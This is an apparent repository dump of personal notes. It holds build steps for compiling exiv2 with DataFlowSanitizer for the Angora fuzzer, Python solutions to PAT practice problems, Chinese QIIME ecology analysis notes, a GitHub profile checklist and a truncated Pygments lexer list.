clang-tools-extra-${LLVM_VERSION}.src extra\r\ncd ${CLANG_SRC}/projects\r\ntar -Jxvf ${CUR_DIR}/compiler-rt-${LLVM_VERSION}.src.tar.xz\r\nmv compiler-rt-${LLVM_VERSION}.src compiler-rt\r\ntar -Jxvf ${CUR_DIR}/libcxx-${LLVM_VERSION}.src.tar.xz\r\nmv libcxx-${LLVM_VERSION}.src libcxx\r\ntar -Jxvf ${CUR_DIR}/libcxxabi-${LLVM_VERSION}.src.tar.xz\r\nmv libcxxabi-${LLVM_VERSION}.src libcxxabi\r\ntar -Jxvf ${CUR_DIR}/libunwind-${LLVM_VERSION}.src.tar.xz\r\nmv libunwind-${LLVM_VERSION}.src libunwind\r\ncp ./libcxxabi/include/*  ./libcxx/include\r\n\r\nmkdir -p /data/build_llvm && cd /data/build_llvm\r\nexport CC=\"clang -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt\" CXX=\"clang++ -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt\"\r\ncmake -G Ninja ../llvm_src/  -DLIBCXXABI_ENABLE_SHARED=NO -DLIBCXX_ENABLE_SHARED=NO -DLIBCXX_CXX_ABI=libcxxabi\r\nninja cxx cxxabi\r\n\r\nexport CC=\"clang -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb\" CXX=\"clang++ -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb\"\r\n\r\n# download dependency (expat and zlib) source code\r\ncd /data\r\nsed -i 's/# deb-src/deb-src/g' /etc/apt/sources.list\r\napt update\r\napt source zlib1g-dev libexpat1-dev\r\n\r\n# compile expat\r\ncd /data/expat-2.1.0\r\n./configure --prefix=/data/expat\r\nmake install -j\r\n\r\n# compile zlib\r\ncd /data/zlib-1.2.8.dfsg/\r\n./configure --prefix=/data/zlib\r\nmake install -j\r\n\r\n# download source code\r\ncd /data\r\nwget http://exiv2.org/releases/exiv2-0.26-trunk.tar.gz\r\ntar zxvf exiv2-0.26-trunk.tar.gz\r\ncd /data/exiv2-trunk\r\n./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib\r\n\r\n# now, we get our binary file: ./bin/exiv2, about 38MB\r\n```\r\n\r\n### Q&A\r\n\r\n#### Why docker image `zjuchenyuan/angora`\r\n\r\nJust to use already built-in clang-7, and two abi list files\r\n\r\n#### Why `-ldl -lrt -lpthread`\r\n\r\nIt's required for cmake cxx, otherwise build error like `Host compiler appears to require libatomic, but cannot find it`\r\n\r\n#### Why compile expat and zlib\r\n\r\nexiv2 depends on these two libraries, and DFSan require their source code to be compiled with DFSan.\r\n\r\nOr, you can follow instructions here: https://github.com/AngoraFuzzer/Angora/issues/38, to create an abi list for libraries.\r\n\r\n```\r\n/angora/tools/gen_library_abilist.sh  /usr/lib/x86_64-linux-gnu/libz.so  discard >> /data/mylist.txt\r\n/angora/tools/gen_library_abilist.sh  /usr/lib/x86_64-linux-gnu/libexpat.so  discard >> /data/mylist.txt\r\n```\r\n\r\n#### Why `--disable-shared`\r\n\r\nThis is to build a single binary file for easier fuzzing.\r\n\r\n#### Wanna debug? No optimization\r\n\r\nCompiling Exiv2 with DFSan, with -O0\r\n\r\n```\r\n# let's continue our building process, use -O0 to facilitate debugging\r\ncd /data/exiv2-trunk\r\nCFLAGS='-O0' CXXFLAGS='-O0' ./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib \r\nmake clean; find . -name '*.o' -delete\r\nmake -j\r\n# now we get bin/exiv2, about 44MB\r\n```\r\n\r\n\r\n"
  },
  {
    "path": "doc/PAT/pat-a-practise/1005.py",
    "content": "line=list(map(int,input()))\r\ntranslate={0:\"zero\",1:\"one\",2:\"two\",3:\"three\",4:\"four\",5:\"five\",6:\"six\",7:\"seven\",8:\"eight\",9:\"nine\"}\r\nans=[translate[int(i)] for i in \"%d\"%sum(line)]\r\nprint(\" \".join(ans),end=\"\")"
  },
  {
    "path": "doc/PAT/pat-b-practise/1001.py",
    "content": "n=int(input())\r\nres=0\r\nwhile n>1:\r\n    res+=1\r\n    if n%2==0:\r\n        n=n//2\r\n    else:\r\n        n=(3*n+1)//2\r\nprint(res)"
  },
  {
    "path": "doc/PAT/pat-b-practise/1002.py",
    "content": "thesum=\"%d\"%sum(map(int,input()))\r\nd=[\"ling\",\"yi\",\"er\",\"san\",\"si\",\"wu\",\"liu\",\"qi\",\"ba\",\"jiu\"]\r\nres=\" \".join(map(lambda i:d[int(i)],thesum))\r\nprint(res)"
  },
  {
    "path": "doc/PAT/pat-b-practise/1003.py",
    "content": "def judge(s):\r\n    P,A,T=map(s.count,\"PAT\")\r\n    if P!=1 or T!=1 or P+A+T!=len(s):\r\n        return False\r\n    try:\r\n        A1=len(s.split(\"P\")[0])\r\n        A2=len(s.split(\"P\")[1].split(\"T\")[0])\r\n        A3=len(s.split(\"T\")[1])\r\n    except:\r\n        return False\r\n    if A2==0:\r\n        return False\r\n    if A1==A3==0:\r\n        return True\r\n    if A3-A1*(A2-1)<=0:\r\n        return False\r\n    return True\r\n\r\nN=int(input())\r\nfor i in range(N):\r\n    s = input()\r\n    if judge(s):\r\n        print(\"YES\")\r\n    else:\r\n        print(\"NO\")"
  },
  {
    "path": "doc/PAT/pat-b-practise/1004.py",
    "content": "N=int(input())\r\ndata={}\r\nfor i in range(N):\r\n    s=input().split()\r\n    data[int(s[2])]=s[0]+\" \"+s[1]\r\nprint(max(data.items(),key=lambda i:i[0])[1])\r\nprint(min(data.items(),key=lambda i:i[0])[1])"
  },
  {
    "path": "doc/PAT/pat-b-practise/1005.py",
    "content": "input()\r\ncache={1:[1]}\r\ndef calc(n):\r\n    global cache\r\n    result=[n]\r\n    if n in cache:\r\n        return cache[n]\r\n    if n%2==0:\r\n        result.extend(calc(n//2))\r\n    else:\r\n        result.extend(calc((3*n+1)//2))\r\n    cache[n]=result\r\n    return result\r\nfancha={}\r\ntheinput=list(map(int,input().split()))\r\nfor i in theinput:\r\n    x=calc(i)\r\n    for t in x:\r\n        if t not in fancha:\r\n            fancha[t]=set([])\r\n        fancha[t].add(i)\r\nprint(fancha)\r\nprint(\" \".join([str(i) for i in sorted([i for i in fancha if len(fancha[i])==1],reverse=True) if i in theinput]))"
  },
  {
    "path": "doc/PAT/pat-b-practise/1006.py",
    "content": "theinput=list(map(int,input()[::-1]))\r\nres=\"\"\r\nfor i in range(len(theinput)):\r\n    if i==0:\r\n        res=\"\".join([str(i) for i in range(1,theinput[i]+1)])\r\n    elif i==1:\r\n        res=\"S\"*theinput[i]+res\r\n    else:\r\n        res=\"B\"*theinput[i]+res\r\nprint(res)"
  },
  {
    "path": "doc/PAT/pat-b-practise/1007.py",
    "content": "primes={2:True,3:True}\r\ntheinput=int(input())\r\nfor i in range(2,theinput//2+1):\r\n    j=2\r\n    if primes.get(i,True)==False:\r\n        continue\r\n    while i*j<theinput:\r\n        if i*j not in primes:\r\n            primes[i*j]=False\r\n        j+=1\r\ntheprime=[]\r\nfor i in range(2,theinput+1):\r\n    if primes.get(i,True):\r\n        theprime.append(i)\r\nres=0\r\nfor i in range(1,len(theprime)):\r\n    if theprime[i]-theprime[i-1]==2:\r\n        res+=1\r\nprint(res)"
  },
  {
    "path": "doc/PAT/pat-b-practise/1008.py",
    "content": "N,M=map(int,input().split())\r\nM=M%N\r\ntheinput=input().split()\r\nres=theinput[-M:]+theinput[:-M]\r\nprint(\" \".join(res))"
  },
  {
    "path": "doc/PAT/pat-b-practise/1009.py",
    "content": "print(\" \".join(input().split()[::-1]))"
  },
  {
    "path": "doc/PAT/pat-b-practise/1010.py",
    "content": "theinput=list(map(int,input().split()))\r\nxishu=[theinput[i] for i in range(len(theinput)) if i%2==0]\r\nzhishu=[theinput[i] for i in range(len(theinput)) if i%2==1]\r\ntheinput=dict(zip(zhishu,xishu))\r\nres={}\r\nfor i in theinput:\r\n    if i==0:\r\n        continue\r\n    res[i-1]=i*theinput[i]\r\nresult=[]\r\nfor i in sorted(res.keys(),reverse=True):\r\n    result.extend([str(res[i]),str(i)])\r\nif not result:\r\n    result=[\"0\",\"0\"]\r\nprint(\" \".join(result))"
  },
  {
    "path": "doc/PAT/pat-b-practise/1011.py",
    "content": "T=int(input())\r\nfor i in range(T):\r\n    A,B,C=map(int,input().split())\r\n    if A+B>C:\r\n        res=\"true\"\r\n    else:\r\n        res=\"false\"\r\n    print(\"Case #{i}: {res}\".format(i=i+1,res=res))"
  },
  {
    "path": "doc/PAT/pat-b-practise/1012.py",
    "content": "theinput=list(map(int,input().split()))\r\ndel(theinput[0])\r\nT={}\r\nA={}\r\nfor i in range(1,6):\r\n    T[i]=[j for j in theinput if j%5==i-1]\r\n    if not T[i]:\r\n        A[i]=\"N\"\r\n    else:\r\n        if i==1:\r\n            A[1]=sum([j for j in T[1] if j%2==0])\r\n            if A[1]==0:\r\n                A[1]=\"N\"\r\n        elif i==2:\r\n            t=1\r\n            A[2]=0\r\n            for x in T[2]:\r\n                A[2]+=t*x\r\n                t=-t\r\n        elif i==3:\r\n            A[3]=len(T[3])\r\n        elif i==4:\r\n            A[4]=\"%0.1f\"%(sum(T[4])/len(T[4]))\r\n        elif i==5:\r\n            A[5]=max(T[5])\r\nprint(\" \".join([str(A[i]) for i in A]))"
  },
  {
    "path": "doc/PAT/pat-b-practise/1013.py",
    "content": "M,N=map(int,input().split())\r\n\"\"\"\r\ndef mymethod(N):\r\n    primes={2:True,3:True}\r\n    for i in range(2,int(sqrt(N))+1):\r\n        if primes.get(i,True)==False:\r\n            continue\r\n        #while i*j<N:\r\n        for t in range(i*i,N+1,i):\r\n            #if i*j not in primes:\r\n            primes[t]=False\r\n            #j+=1\r\n    theprime=[]\r\n    for i in range(2,N):\r\n        if primes.get(i,True):\r\n            theprime.append(i)\r\n    return theprime\r\n\"\"\"\r\ndef ola(N):#欧拉筛法\r\n    prime=[]\r\n    isprime=[True]*(N+1)\r\n    isprime[1]=False\r\n    for i in range(2,N):\r\n        if isprime[i]:\r\n            prime.append(i)\r\n        for j in prime:\r\n            if i*j>N:\r\n                break\r\n            isprime[i*j]=False\r\n            if i%j==0:\r\n                break\r\n    return prime\r\ndata=ola(105000)\r\nres=data[M-1:N]\r\nwhile len(res)>10:\r\n    print(\" \".join([str(i) for i in res[:10]]))\r\n    res=res[10:]\r\nprint(\" \".join([str(i) for i in res]))"
  },
  {
    "path": "doc/PAT/pat-b-practise/1014.py",
    "content": "import string\r\ns={}\r\nl={}\r\nfor i in range(4):\r\n    s[i]=input()\r\n    l[i]=len(s[i])\r\nflag=1\r\nA1={\"A\":\"MON\",\"B\":\"TUE\",\"C\":\"WED\",\"D\":\"THU\",\"E\":\"FRI\",\"F\":\"SAT\",\"G\":\"SUN\"}\r\nres=\"\"\r\nfor i in range(min(l[0],l[1])):\r\n    if flag==1 and s[0][i]==s[1][i] and s[0][i] in A1:\r\n        res=A1[s[0][i]]+\" \"\r\n        flag=2\r\n    elif flag==2 and s[0][i]==s[1][i] and s[0][i] in \"ABCDEFGHIJKLMN\":\r\n        res+=\"%d:\"%(ord(s[0][i])-ord('A')+10)\r\n        flag=3\r\n    elif flag==2 and s[0][i]==s[1][i] and s[0][i] in string.digits:\r\n        res+=\"%02d:\"%(int(s[0][i]))\r\n        flag=3\r\nfor i in range(min(l[2],l[3])):\r\n    if s[2][i]==s[3][i] and s[2][i] in string.ascii_letters:\r\n        res+=\"%02d\"%i\r\n        break\r\nprint(res)"
  },
  {
    "path": "doc/PAT/pat-b-practise/1023.py",
    "content": "theinput=list(map(int,input().split()))\r\ns=\"\"\r\nres=\"\"\r\nfor i in range(10):\r\n    s+=theinput[i]*str(i)\r\nfor i in range(len(s)):\r\n    if s[i]=='0':\r\n        continue\r\n    else:\r\n        res=s[i]+s[:i]+s[i+1:]\r\n        break\r\nprint(res)"
  },
  {
    "path": "doc/PAT/pat-b-practise/1063.py",
    "content": "import math\r\nN=int(input())\r\nthemax=0\r\nfor i in range(N):\r\n    ans=list(map(float,input().split()))\r\n    thisone=ans[0]**2+ans[1]**2\r\n    if thisone>themax:\r\n        themax=thisone\r\nprint(\"%.2f\"%math.sqrt(themax),end=\"\")"
  },
  {
    "path": "doc/PAT/pat-b-practise/1064.py",
    "content": "input()\r\nline=input().split()\r\nres=set([])\r\nfor i in line:\r\n    res.add(sum([int(j) for j in i]))\r\nprint(len(res))\r\nprint(\" \".join([\"%d\"%i for i in sorted(res)]),end=\"\")"
  },
  {
    "path": "doc/PAT/pat-b-practise/1065.py",
    "content": "N=int(input())\r\ndata={}\r\nfor i in range(N):\r\n    line=list(map(int,input().split()))\r\n    data[line[0]]=line[1]\r\n    data[line[1]]=line[0]\r\ninput()\r\nline=set(map(int,input().split()))\r\nres=[]\r\nfor i in line:\r\n    if i not in data or data.get(i,-1) not in line:\r\n        res.append(i)\r\nprint(len(res))\r\nprint(\" \".join([\"%05d\"%i for i in sorted(res)]),end=\"\")"
  },
  {
    "path": "doc/biology/ecology.md",
    "content": "#生态数据处理，使用QIIME\r\n\r\n# 作业要求\r\n\r\n1. De-novo OTU picking以及OTU table的制作\r\n2. alpha多样性分析：优势种(>5%/10%)的Relative Abundance分布图；Rarefaction Curve( Shannon, Simpson, Observed species)\r\n3. beta多样性分析： Unweighted/Weighted Unifrac PCoA分析\r\n4. 群体性分析：NMDS分析--R\r\n   差异分析（Adonis，ANOSIM，MRPP）--R\r\n\r\n----\r\n\r\n# 获得数据 Obtaining the data\r\n\r\n从群共享下载到三个文件，简介：\r\n\r\n## BF_Map.txt 5.10KB\r\n\r\n这是对原始测序fna文件的描述，是原始数据\r\n\r\n|SampleID|BarcodeSequence|LinkerPrimerSequence|Treatment|Plate|Description|\r\n| --------   | -----:  | :----:  |\r\n|样本ID|用于区分样本的序列|测序时加上的序列|样本的处理，Control与Warming||描述，有TagA,TagB,TagC|\r\n\r\n## otu_table_F.txt 23.9MB\r\n\r\nOTU是在数量分类学方面作为对象的分类单位\r\n\r\n计算得出的OTU Table\r\n\r\n每行一个OTU，如果匹配到数据库上有微生物的物种分类数据，以及每个样本是否包含这个OTU--包含为1，不包含为0\r\n\r\n## otus_BF.rar 36.7MB\r\n\r\n内含otus_BF文件夹，为**De novo OTU picking**步骤的生成结果\r\n\r\n# 从头开始的OTU组装 De novo OTU picking\r\n\r\n由于缺少原始文件，本步骤无法复现，运算结果为给出的otus_BF.rar\r\n\r\n此步骤生成了**rep_set.tre**，使用**FigTree**软件进行查看：\r\n\r\n![](http://api.chenyuan.me/fangcloud/4cf9ea4acb452aa8e0df0fe0fd)\r\n\r\n## 查看产生的OTU Table\r\n\r\n[summarize.txt](http://api.chenyuan.me/fangcloud/9c76ee31266efbf411e51c8388)\r\n\r\n一共有50个样本，参照给出的原始BF_Map.txt（72个样本），\r\n发现其中的F.TagA.3C.12和F.TagA.3C.13的Count数太小可以忽略，比较两个文件发现**ID为TagA的都没有出现在给出的OTU Table中**\r\n\r\n技术Point:用Excel比较两列相同元素http://jingyan.baidu.com/article/c843ea0b7a2a7477921e4a47.html\r\n\r\n## Make an OTU network\r\n\r\n人家说要用Cytoscape，有待研究\r\n\r\n生成的otu_network文件夹[戳这里下载](http://api.chenyuan.me/fangcloud/a8c63020d9a7d1426cf05a7a77)\r\n\r\n\r\n# 物种分类统计 Summarize communities by taxonomic composition\r\n\r\n[生成的taxa_summary文件夹,戳我下载](http://api.chenyuan.me/fangcloud/cff3d489af54eaea157838719c)\r\n\r\n> 这里是重点\r\n\r\n打开taxa_summary/taxa_summary_plots文件夹，里面有两个网页，\r\n\r\n网页打开后5张图，每张图的横坐标都是50个样本，从上到下分类阶元越来越细\r\n\r\n选择最高层次的这张bar图吧：\r\n\r\n![](http://api.chenyuan.me/fangcloud/312423426ec71e733de254fbfe)\r\n\r\n解压压缩包后打开网页，用鼠标抚摸这张图可以看到分类信息\r\n\r\n底下红色是最多的，是Other\r\n\r\n其次最多的看起来是上边的红色的，Proteobacteria\r\n\r\n## 产生热图Make a taxonomy heatmap\r\n\r\n![](http://api.chenyuan.me/fangcloud/c8d28241ed373bd3901a2d848a)\r\n\r\n----\r\n\r\n#计算alpha多样性\r\n\r\n[生成的arare文件夹戳我下载](http://api.chenyuan.me/fangcloud/c07dc497e5679ca505967eb9a5)\r\n\r\nalpha多样性的计算结果在arare/alpha_div_collated中，里面有\r\n\r\n* shannon.txt\r\n* simpson.txt\r\n* observed_otus.txt 这就是PPT要求的Observed species\r\n\r\n每一列是一个样本\r\n\r\n每一行行是取样大小+迭代次数：\r\n\r\n> rarefaction_##_#.txt: the first set of numbers represents the number of sequences sampled, and the last number represents the iteration number\r\n\r\n用不同的采样大小可以得到不同的数值，就可以画出下面这些图\r\n\r\n## 看alpha稀疏图\r\n\r\n首先了解这是个什么东西 [Wikipedia](https://en.wikipedia.org/wiki/Rarefaction_(ecology))\r\n\r\n![shannon.png](http://api.chenyuan.me/fangcloud/f4be696682a9f7941f7f0afd64)\r\n\r\n![simpson.png](http://api.chenyuan.me/fangcloud/69404575b5438324d08f0dbc0f)\r\n\r\n![observed_otus.png](http://api.chenyuan.me/fangcloud/30bad21c580339cc18fb44a299)\r\n\r\n\r\n问题：如果使用Category:Treatment, 数据上很多NaN，看不出不同处理的显著性差异\r\n\r\n----\r\n\r\n# 计算beta多样性 Compute beta diversity and generate ordination plots\r\n\r\n[bdiv_even146.zip戳我下载](http://api.chenyuan.me/fangcloud/ba56a4a459ee7238a8af6c3d3b)\r\n\r\n## Unweighted\r\n\r\n> 红色Control\r\n> 蓝色Warming\r\n\r\n![unweighted1.jpg](http://api.chenyuan.me/fangcloud/8c4f7c22f6db3f0a54151c01e4)\r\n\r\n![unweighted2.jpg](http://api.chenyuan.me/fangcloud/95708ac65084d85de8a76e517c)\r\n\r\nTreatment上没有显著性区别\r\n\r\n那什么具有显著性区别呢？\r\n\r\n手工标上颜色：\r\n\r\n黄色 TagC_13\r\n绿色 TagB_13\r\n蓝色 TagC_12\r\n红色 TagB_12\r\n\r\n![unweighted_my.jpg](http://api.chenyuan.me/fangcloud/6ff9f674acdb65c53e1cf08021)\r\n\r\n发现**样本最后的标号12与13才是最显著的区别来源**！\r\n\r\n## Weighted\r\n\r\n![weighted.jpg](http://api.chenyuan.me/fangcloud/06dcc48950634f7915733ed093)\r\n\r\n同样在Treatment上没有显著性差异"
  },
  {
    "path": "doc/github/github_profile_checklist.md",
    "content": "# Github 检查表 [求职向]\r\n\r\n本文档翻译自Udacity课程资料，[原文在此](http://udacity.github.io/git-styleguide/)\r\n\r\n## 一般性的\r\n\r\n1. 我在Github上至少有4个自己的项目\r\n\r\n2. 我有持续性地为项目作出提交\r\n\r\n3. 至少两周每天都坚持提交，无论提交有多么小\r\n\r\n4. 我参与过至少一个开源项目\r\n\r\n## 个人信息\r\n\r\n1.我有一个正式的github用户名，如有可能这个用户名就是我的名字\r\n\r\n2.我有正式的个人头像，建议使用自信阳光的个人照片\r\n\r\n3.URL、公司、邮箱部分等个人信息不为空且保持最新\r\n\r\n## 项目\r\n\r\n1.我至少对我想关注的项目给出一个Star\r\n\r\n2.我的项目有一个合理的名称（可以在项目逇Settings中修改）\r\n\r\n3.我的项目有完整的README，说明创建这个项目的目的，使用这个项目的方法，寻求怎样的合作。(Fork的项目不需要修改README)\r\n\r\n4.项目的所有修改都要有提交信息来解释进行的修改\r\n\r\n5.遵循提交信息的风格，戳这里 -> [http://udacity.github.io/git-styleguide/](http://udacity.github.io/git-styleguide/)"
  },
  {
    "path": "doc/how_to_succeed.txt",
    "content": "来自Udacity课程字幕\r\n\r\n借在此进行小结的机会\r\n我想留给你一些有关如何成功完成此项目的最终提示\r\n第一 坚决遵守时间表\r\n定时修读课程和完成实战项目\r\n可帮助你有效进行学习和更快达到目标\r\n第二 正如我们的首批毕业生之一所说\r\n要坚持不懈地自己寻找答案\r\n在努力寻找答案的过程中可以学到最多东西\r\n如果遇到不理解的术语 花些时间理解它\r\n使用优达学城外部的资源补充学习内容\r\n和成为更独立的学习者很重要\r\n你要钻研课程\r\n例如在每天工作时阅读相关文档\r\n因此 在这里你要确保\r\n自己从一开始就觉得这样做很舒服\r\n第三 成为社区中的活跃分子\r\n另一位早期毕业生提出了这个忠告\r\n帮助其他学员\r\n这实际上也会巩固你的理解\r\n当然 如果你遇到难题\r\n也要利用可用的资源\r\n通过做到以上三点\r\n你将能积累专业知识和各种经验\r\n并且证明你具有巨大的推动力和职业道德\r\n对于你的加入 我们感到很开心\r\n我们还非常期待看到你利用在这里学到的知识做出一些成就\r\n"
  },
  {
    "path": "doc/pygment_langs.txt",
    "content": "Pygments version 2.2.0, (c) 2006-2017 by Georg Brandl.\n\nLexers:\n~~~~~~~\n* abap:\n    ABAP (filenames *.abap, *.ABAP)\n* abnf:\n    ABNF (filenames *.abnf)\n* ada, ada95, ada2005:\n    Ada (filenames *.adb, *.ads, *.ada)\n* adl:\n    ADL (filenames *.adl, *.adls, *.adlf, *.adlx)\n* agda:\n    Agda (filenames *.agda)\n* aheui:\n    Aheui (filenames *.aheui)\n* ahk, autohotkey:\n    autohotkey (filenames *.ahk, *.ahkl)\n* alloy:\n    Alloy (filenames *.als)\n* ampl:\n    Ampl (filenames *.run)\n* antlr-as, antlr-actionscript:\n    ANTLR With ActionScript Target (filenames *.G, *.g)\n* antlr-cpp:\n    ANTLR With CPP Target (filenames *.G, *.g)\n* antlr-csharp, antlr-c#:\n    ANTLR With C# Target (filenames *.G, *.g)\n* antlr-java:\n    ANTLR With Java Target (filenames *.G, *.g)\n* antlr-objc:\n    ANTLR With ObjectiveC Target (filenames *.G, *.g)\n* antlr-perl:\n    ANTLR With Perl Target (filenames *.G, *.g)\n* antlr-python:\n    ANTLR With Python Target (filenames *.G, *.g)\n* antlr-ruby, antlr-rb:\n    ANTLR With Ruby Target (filenames *.G, *.g)\n* antlr:\n    ANTLR \n* apacheconf, aconf, apache:\n    ApacheConf (filenames .htaccess, apache.conf, apache2.conf)\n* apl:\n    APL (filenames *.apl)\n* applescript:\n    AppleScript (filenames *.applescript)\n* arduino:\n    Arduino (filenames *.ino)\n* as, actionscript:\n    ActionScript (filenames *.as)\n* as3, actionscript3:\n    ActionScript 3 (filenames *.as)\n* aspectj:\n    AspectJ (filenames *.aj)\n* aspx-cs:\n    aspx-cs (filenames *.aspx, *.asax, *.ascx, *.ashx, *.asmx, *.axd)\n* aspx-vb:\n    aspx-vb (filenames *.aspx, *.asax, *.ascx, *.ashx, *.asmx, *.axd)\n* asy, asymptote:\n    Asymptote (filenames *.asy)\n* at, ambienttalk, ambienttalk/2:\n    AmbientTalk (filenames *.at)\n* autoit:\n    AutoIt (filenames *.au3)\n* awk, gawk, mawk, nawk:\n    Awk (filenames *.awk)\n* basemake:\n    Base Makefile \n* bash, sh, ksh, zsh, shell:\n    Bash (filenames *.sh, *.ksh, *.bash, *.ebuild, *.eclass, *.exheres-0, *.exlib, *.zsh, .bashrc, bashrc, .bash_*, bash_*, zshrc, .zshrc, PKGBUILD)\n* bat, batch, dosbatch, winbatch:\n    Batchfile (filenames *.bat, *.cmd)\n* bbcode:\n    BBCode \n* bc:\n    BC (filenames *.bc)\n* befunge:\n    Befunge (filenames *.befunge)\n* bib, bibtex:\n    BibTeX (filenames *.bib)\n* blitzbasic, b3d, bplus:\n    BlitzBasic (filenames *.bb, *.decls)\n* blitzmax, bmax:\n    BlitzMax (filenames *.bmx)\n* bnf:\n    BNF (filenames *.bnf)\n* boo:\n    Boo (filenames *.boo)\n* boogie:\n    Boogie (filenames *.bpl)\n* brainfuck, bf:\n    Brainfuck (filenames *.bf, *.b)\n* bro:\n    Bro (filenames *.bro)\n* bst, bst-pybtex:\n    BST (filenames *.bst)\n* bugs, winbugs, openbugs:\n    BUGS (filenames *.bug)\n* c-objdump:\n    c-objdump (filenames *.c-objdump)\n* c:\n    C (filenames *.c, *.h, *.idc)\n* ca65:\n    ca65 assembler (filenames *.s)\n* cadl:\n    cADL (filenames *.cadl)\n* camkes, idl4:\n    CAmkES (filenames *.camkes, *.idl4)\n* capdl:\n    CapDL (filenames *.cdl)\n* capnp:\n    Cap'n Proto (filenames *.capnp)\n* cbmbas:\n    CBM BASIC V2 (filenames *.bas)\n* ceylon:\n    Ceylon (filenames *.ceylon)\n* cfc:\n    Coldfusion CFC (filenames *.cfc)\n* cfengine3, cf3:\n    CFEngine3 (filenames *.cf)\n* cfm:\n    Coldfusion HTML (filenames *.cfm, *.cfml)\n* cfs:\n    cfstatement \n* chai, chaiscript:\n    ChaiScript (filenames *.chai)\n* chapel, chpl:\n    Chapel (filenames *.chpl)\n* cheetah, spitfire:\n    Cheetah (filenames *.tmpl, *.spt)\n* cirru:\n    Cirru (filenames *.cirru)\n* clay:\n    Clay (filenames *.clay)\n* clean:\n    Clean (filenames *.icl, *.dcl)\n* clojure, clj:\n    Clojure (filenames *.clj)\n* clojurescript, cljs:\n    ClojureScript (filenames *.cljs)\n* cmake:\n    CMake (filenames *.cmake, CMakeLists.txt)\n* cobol:\n    COBOL (filenames *.cob, *.COB, *.cpy, *.CPY)\n* cobolfree:\n    COBOLFree (filenames *.cbl, *.CBL)\n* coffee-script, coffeescript, coffee:\n    CoffeeScript (filenames *.coffee)\n* common-lisp, cl, lisp:\n    Common Lisp (filenames *.cl, *.lisp)\n* componentpascal, cp:\n    Component Pascal (filenames *.cp, *.cps)\n* console, shell-session:\n    Bash Session (filenames *.sh-session, *.shell-session)\n* control, debcontrol:\n    Debian Control file (filenames control)\n* coq:\n    Coq (filenames *.v)\n* cpp, c++:\n    C++ (filenames *.cpp, *.hpp, *.c++, *.h++, *.cc, *.hh, *.cxx, *.hxx, *.C, *.H, *.cp, *.CPP)\n* cpp-objdump, c++-objdumb, cxx-objdump:\n    cpp-objdump (filenames *.cpp-objdump, *.c++-objdump, *.cxx-objdump)\n* cpsa:\n    CPSA (filenames *.cpsa)\n* cr, crystal:\n    Crystal (filenames *.cr)\n* crmsh, pcmk:\n    Crmsh (filenames *.crmsh, *.pcmk)\n* croc:\n    Croc (filenames *.croc)\n* cryptol, cry:\n    Cryptol (filenames *.cry)\n* csharp, c#:\n    C# (filenames *.cs)\n* csound, csound-orc:\n    Csound Orchestra (filenames *.orc)\n* csound-document, csound-csd:\n    Csound Document (filenames *.csd)\n* csound-score, csound-sco:\n    Csound Score (filenames *.sco)\n* css+django, css+jinja:\n    CSS+Django/Jinja \n* css+erb, css+ruby:\n    CSS+Ruby \n* css+genshitext, css+genshi:\n    CSS+Genshi Text \n* css+lasso:\n    CSS+Lasso \n* css+mako:\n    CSS+Mako \n* css+mako:\n    CSS+Mako \n* css+mozpreproc:\n    CSS+mozpreproc (filenames *.css.in)\n* css+myghty:\n    CSS+Myghty \n* css+php:\n    CSS+PHP \n* css+smarty:\n    CSS+Smarty \n* css:\n    CSS (filenames *.css)\n* cucumber, gherkin:\n    Gherkin (filenames *.feature)\n* cuda, cu:\n    CUDA (filenames *.cu, *.cuh)\n* cypher:\n    Cypher (filenames *.cyp, *.cypher)\n* cython, pyx, pyrex:\n    Cython (filenames *.pyx, *.pxd, *.pxi)\n* d-objdump:\n    d-objdump (filenames *.d-objdump)\n* d:\n    D (filenames *.d, *.di)\n* dart:\n    Dart (filenames *.dart)\n* delphi, pas, pascal, objectpascal:\n    Delphi (filenames *.pas, *.dpr)\n* dg:\n    dg (filenames *.dg)\n* diff, udiff:\n    Diff (filenames *.diff, *.patch)\n* django, jinja:\n    Django/Jinja \n* docker, dockerfile:\n    Docker (filenames Dockerfile, *.docker)\n* doscon:\n    MSDOS Session \n* dpatch:\n    Darcs Patch (filenames *.dpatch, *.darcspatch)\n* dtd:\n    DTD (filenames *.dtd)\n* duel, jbst, jsonml+bst:\n    Duel (filenames *.duel, *.jbst)\n* dylan-console, dylan-repl:\n    Dylan session (filenames *.dylan-console)\n* dylan-lid, lid:\n    DylanLID (filenames *.lid, *.hdp)\n* dylan:\n    Dylan (filenames *.dylan, *.dyl, *.intr)\n* earl-grey, earlgrey, eg:\n    Earl Grey (filenames *.eg)\n* easytrieve:\n    Easytrieve (filenames *.ezt, *.mac)\n* ebnf:\n    EBNF (filenames *.ebnf)\n* ec:\n    eC (filenames *.ec, *.eh)\n* ecl:\n    ECL (filenames *.ecl)\n* eiffel:\n    Eiffel (filenames *.e)\n* elixir, ex, exs:\n    Elixir (filenames *.ex, *.exs)\n* elm:\n    Elm (filenames *.elm)\n* emacs, elisp, emacs-lisp:\n    EmacsLisp (filenames *.el)\n* erb:\n    ERB \n* erl:\n    Erlang erl session (filenames *.erl-sh)\n* erlang:\n    Erlang (filenames *.erl, *.hrl, *.es, *.escript)\n* evoque:\n    Evoque (filenames *.evoque)\n* extempore:\n    xtlang (filenames *.xtm)\n* ezhil:\n    Ezhil (filenames *.n)\n* factor:\n    Factor (filenames *.factor)\n* fan:\n    Fantom (filenames *.fan)\n* fancy, fy:\n    Fancy (filenames *.fy, *.fancypack)\n* felix, flx:\n    Felix (filenames *.flx, *.flxh)\n* fish, fishshell:\n    Fish (filenames *.fish, *.load)\n* flatline:\n    Flatline \n* forth:\n    Forth (filenames *.frt, *.fs)\n* fortran:\n    Fortran (filenames *.f03, *.f90, *.F03, *.F90)\n* fortranfixed:\n    FortranFixed (filenames *.f, *.F)\n* foxpro, vfp, clipper, xbase:\n    FoxPro (filenames *.PRG, *.prg)\n* fsharp:\n    FSharp (filenames *.fs, *.fsi)\n* gap:\n    GAP (filenames *.g, *.gd, *.gi, *.gap)\n* gas, asm:\n    GAS (filenames *.s, *.S)\n* genshi, kid, 